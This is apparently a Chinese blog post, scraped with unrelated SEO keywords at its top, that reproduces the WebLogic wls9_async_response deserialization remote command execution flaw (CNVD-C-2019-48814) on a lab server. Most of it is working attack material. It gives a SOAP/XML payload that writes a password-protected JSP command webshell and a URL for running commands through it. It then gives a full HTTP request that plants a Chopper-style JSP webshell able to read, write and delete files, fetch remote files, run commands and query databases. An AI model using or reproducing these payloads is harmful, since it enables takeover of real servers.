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news 2025/7/20 13:13:37
上海平台网站制作公司,优化外包服务公司,3d效果图设计制作软件,上海城隍庙景点介绍漏洞概述： （CNVD-C-2019-48814）Weblogic wls9_async_response 反序列化远程命令执行漏洞存在于wls9-async组件中，攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据，传入的数据在服务器端…

漏洞概述：

（CNVD-C-2019-48814）Weblogic wls9_async_response 反序列化远程命令执行漏洞存在于wls9-async组件中，攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据，传入的数据在服务器端反序列化时，执行其中的恶意代码，从而造成远程命令执行。

漏洞环境：

服务器:windowsserver2008，搭建好weblogic环境。IP：192.168.131.157

复现过程：

首先访问/_async/AsyncResponseService来判断是否启用该组件。

刷新页面并启用burpsuite抓包拦截/_async/AsyncResponseService数据包发送到repeater，修改method为POST，修改新增字段的值，把context-type修改成text/xml。poc如下：

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;          byte[] b = new byte[1024];          out.print("<pre>");          while((a=in.read(b))!=-1){out.println(new String(b));          }out.print("</pre>");} %>]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

成功后访问http://192.168.131.157:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

命令成功执行，修改cmd的值为systeminfo，命令也被执行。

上传一句话木马并连接：

poc如下，一句话木马为菜刀中jsp格式木马，连接密码：cmd

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.131.157:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 9839<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/sh.jsp</string><void method="println"><string><![CDATA[<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "cmd";String cs = "UTF-8";String EC(String s) throws Exception {return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s) throws Exception {String[] x = s.trim().split("choraheiheihei");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if (x.length > 4) {c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb) throws Exception {File k = new File("");File r[] = k.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n = 0;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t|\t\r\n");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] x = s.trim().split("choraheiheihei");ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[x.length-1]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {Connection c = GC(s);Statement m = c.createStatement(1005, 1008);BufferedWriter bw = null;try {ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (int i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file = new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));}while (r.next()) {for (int i = 1; i <= n; i++) {if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+"" + "\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}
%>
<%//String Z = EC(request.getParameter(Pwd) + "", cs);cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {try {String Z = EC(request.getParameter("action") + "");String z1 = EC(request.getParameter("z1") + "");String z2 = EC(request.getParameter("z2") + "");sb.append("->" + "|");String s = request.getSession().getServletContext().getRealPath("/");if (Z.equals("A")) {sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());
}
%>
]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

成功连接后并不能打开任何文件夹，菜鸡还在努力中。

 

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